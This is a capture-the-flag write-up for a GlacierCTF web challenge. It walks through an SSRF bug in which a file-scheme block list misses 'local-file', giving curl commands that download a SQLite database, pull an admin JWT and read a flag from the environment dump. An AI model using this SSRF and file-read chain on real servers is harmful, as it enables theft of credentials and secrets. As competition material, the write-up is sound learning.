Challenge

The Top Glacier Blog provides you with the latest news from the community about a variety of topics. Wheter it is local news or global news, you are always up to date.

https://glacier-top-news.ctf.glacierctf.com/

Writeup

The flag is saved in the environment:

WERKZEUG_HIDDEN_FLAG=glacierctf{dummy_flag}

The python code reads the flag in the api /api/system_info:

def get_system_info():
    _, _, load15 = psutil.getloadavg()
    cpu_usage = (load15/multiprocessing.cpu_count()) * 100

    env_var = {
      key: os.environ[key]
      for key in os.environ
      if "PORT" not in key and "HOST" not in key and "KEY" not in key
    }

    return {
        'environment': env_var,
        'machine': platform.machine(),
        'version': platform.version(),
        'platform': platform.platform(),
        'system': platform.system(),
        'cpu_usage': cpu_usage,
        'ram_usage': psutil.virtual_memory().percent,
    }

@app.route('/api/system_info', methods=['POST'])
@require_jwt
def get_system_information():
    return get_system_info(), 200, {'Content-Type': 'application/json'}

However, the api endpoint is protected by jwt token. The token is saved in the sqlite3 db /tmp/glacier.db:

@singleton
class Database:
    __instance = None

    def __init__(self, database_name="/tmp/glacier.db"):
        self.connection = sqlite3.connect(database_name)

So we need to extract the jwt token from the database. Digging the code, there is a SSRF vulnerability in the following code:

@app.route('/api/get_resource', methods=['POST'])
def get_resource():
    url = request.json['url']

    if(Filter.isBadUrl(url)):
        return 'Illegal Url Scheme provided', 500

    content = urlopen(url)
    return content.read(), 200

It filters some url schemes:

    BAD_URL_SCHEMES = ['file', 'ftp', 'local_file']

    @staticmethod
    def isBadUrl(url):
        return Filter.bad_schema(url)

But we can still access the file with local-file:///tmp/glacier.db. Download the database and read the secret out:

$ curl -H 'content-type: application/json' -X POST https://glacier-top-news.ctf.glacierctf.com/api/get_resource -d '{"url":"local-file:///tmp/glacier.db"}' > glacier.db
$ sqlite3 glacier.db
sqlite> select * from secrets;
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc19hZG1pbiI6dHJ1ZSwibmFtZSI6ImFkbWluIn0.PoalYA6obPe0HioumOlffOuLKyG80Y5GCkbCmL15pyY

Capture the flag with the jwt:

curl -H 'cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc19hZG1pbiI6dHJ1ZSwibmFtZSI6ImFkbWluIn0.PoalYA6obPe0HioumOlffOuLKyG80Y5GCkbCmL15pyY' -X POST https://glacier-top-news.ctf.glacierctf.com/api/system_info 
# => glacierctf{Py2_I5Su3s_g0_brrrr}

Conclusion

Do not allow SSRF. Do not use Python2 anymore.